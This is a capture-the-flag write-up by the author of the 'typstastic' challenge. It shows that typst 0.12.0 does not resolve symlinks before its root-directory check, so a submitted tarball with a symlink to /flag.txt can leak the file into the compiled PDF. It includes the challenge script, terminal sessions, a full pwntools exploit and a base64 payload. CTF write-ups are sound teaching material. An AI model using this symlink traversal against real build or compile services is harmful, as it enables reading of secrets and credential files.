typstastic is a typst related challenge I authored in GlacierCTF2024. It had
50 solves 3h before the end of the 24h CTF. It categorizes in the easier side
of the challenges.
You have the original CTFd distfile with a locally deployable version in [1]
The challenge is jailed per connection and has the following behaviour:
#!/bin/sh
echo"[+] Welcome to the typstastic v0.12.0 typst PDF builder CI"echo"[+] Give us your typst document and we'll compile it for you!"echo"[+] We definitely don't have a flag in /flag.txt"echo""echo"[+] Submit the base64 (EOF with a '@') of a .tar.gz file containing your "echo" document (main.typ) in the root folder"echo"[+] Example: tar cz main.typ | base64 ; echo "@""echo"[>] --- BASE64 INPUT START ---"read -d @ FILE
echo"[>] --- BASE64 INPUT END ---"DIR=$(mktemp -d)cd${DIR}&> /dev/null
echo"${FILE}"| base64 -d 2>/dev/null | tar xz &> /dev/null
rm -rf main.pdf &> /dev/null
typst compile --root ${DIR} main.typ &> /dev/null
if[ ! -e main.pdf ]thenecho"[!] Compilation failed :("exit1elseecho"[+] --- BASE64 OUTPUT START ---" tar cz main.pdf 2> /dev/null | base64
echo"[+] --- BASE64 OUTPUT END ---"echo"[+] Example: ... | base64 -d | tar xz > main.pdf"exit0fi
It basically receives a tarfile with a typst project, compiles it with typst
0.12.0 and provides the resulting PDF back.
typst doesn’t let you access files from outside the root directory you are
building from:
1
2
3
flag.txt
document/
document/main.typ
Here, main.typ can’t access flag.txt if you are building from document,
or if you specify document as --root:
1
2
3
4
5
6
7
8
9
10
11
[ecomaikgolf@laptop ../solution/payload/]$ cat /flag.txt
SSD{LOCAL_LOCAL_LOCAL_LOCAL_LOCAL}
[ecomaikgolf@laptop ../solution/payload/]$ cat main2.typ
#let text = read("/flag.txt")
#raw(text, lang: "plain")
[ecomaikgolf@laptop ../solution/payload/]$ typst compile main2.typ
error: file not found (searched at [...]/misc/typstastic/solution/payload/flag.txt)
┌─ main2.typ:1:17
│
1 │ #let text = read("/flag.txt")
│
The interesting part is that it doesn’t do the check after resolving symlinks,
so you can do the following:
1
2
3
4
5
6
7
8
9
[ecomaikgolf@laptop ../solution/payload/]$ file file
file: symbolic link to /flag.txt
[ecomaikgolf@laptop ../solution/payload/]$ cat main.typ
#let text = read("file")
#raw(text, lang: "plain")
[ecomaikgolf@laptop ../solution/payload/]$ typst compile main.typ
[ecomaikgolf@laptop ../solution/payload/]$ echo $?
0
Challenge connection is misleading at the example in purpose, it shows you that
you can tar main.typ, but you can pass multiple files, including a symlink as
its tar.
So you just sned a tarfile with a symlink to /flag.txt and the typst file
reading it.
#!/usr/bin/env -S python3 -u# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host localhost --port 1337frompwnimport*importre# Set up pwntools for the correct architecture# Just set TERM_PROGRAM in your ~/.profile!# context.update(terminal='CHANGEME')exe=(args.EXEor'challenge')host=args.HOSTor'localhost'port=int(args.PORTor1337)# Find flag by exact match or format# log.success(find_flag(io.recvall()))real_flag=open("./flag.txt","r").readline().strip()fake_flag=open("./flag-fake.txt","r").readline().strip()deffind_flag(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")# Match real flagifreal_flaginoutput:returnreal_flag# Match fake flagiffake_flaginoutput:returnfake_flag# Match possible local flagwithopen("/flag.txt","r")aslocal:locl_flag=local.readline().strip()iflocl_flaginoutput:returnlocl_flag# Match regexp flagr=find_flag_fmt(output)ifrisnotNone:returnr# Definitely no flag foundreturnNone# Find flag by format# log.success(find_flag_fmt(io.recvall()))ffmt=re.compile(r"gctf{.*}")deffind_flag_fmt(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")m=ffmt.search(output)ifmisNone:returnNonereturnm.group(0)defstart_local(argv=[],*a,**kw):'''Execute the target binary locally'''returnprocess([exe]+argv,*a,**kw)defstart_remote(argv=[],*a,**kw):'''Connect to the process on the remote host'''io=connect(host,port)returniodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''ifargs.LOCAL:returnstart_local(argv,*a,**kw)else:returnstart_remote(argv,*a,**kw)# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript='''
'''.format(**locals())#===========================================================# EXPLOIT GOES HERE#===========================================================# base64 payload.tar.gz ; echo "@"payload="""
H4sIAAAAAAAAA+3UwWoCMRDG8Zz7FMN6URBN1mwChT5MsNlFGl1ZU2rfvllQ8GDpaRHp/3eZwwxk
whfS7lJUE9OF936sxjf6tl4pY722tXGNc0qbRuuNknrdptCt8jlPuNznKYdBRMVtvw+7j65P7d25
v/pPqtzpsMrfxynPGAN21v6ev9tc8ve18WXOWO2NEj3lUlf/PP9ZillyPGd5kyGG93nVlh+hWrzM
hvA1HxtLSeHQvUp1TOWtlM6jVwYAAAAAAAAAAAAAAABw8QOLlLv7ACgAAA==
@
"""io=start()io.sendlineafter(b"[>] --- BASE64 INPUT START ---\n",payload.encode(),timeout=5)io.recvuntil(b"[+] --- BASE64 OUTPUT START ---\n",timeout=5)pdf=io.recvuntil(b"[+] --- BASE64 OUTPUT END ---\n").decode().strip()pdf=pdf.replace("[+] --- BASE64 OUTPUT END ---","")withopen("out","w")asf:f.write(pdf)# All I know is bashflag=os.popen(f"cat out | base64 -d | tar -xOz | pdftotext - - | grep gctf").read().strip()os.remove("out")f=find_flag(flag)iffisnotNone:log.success(f)exit(0)else:exit(1)
payload being the base64 of the following tarfile:
1
2
3
[ecomaikgolf@laptop ../typstastic/solution/]$ tar tzf payload.tar.gz
file
main.typ
with the following contents:
1
2
3
4
5
6
7
[ecomaikgolf@laptop ../solution/payload/]$ ls -l
total 8
lrwxrwxrwx. 1 ecomaikgolf ecomaikgolf 9 Nov 21 21:32 file -> /flag.txt
-rw-r--r--. 1 ecomaikgolf ecomaikgolf 51 Nov 21 21:32 main.typ
[ecomaikgolf@laptop ../solution/payload/]$ cat main.typ
#let text = read("file")
#raw(text, lang: "plain")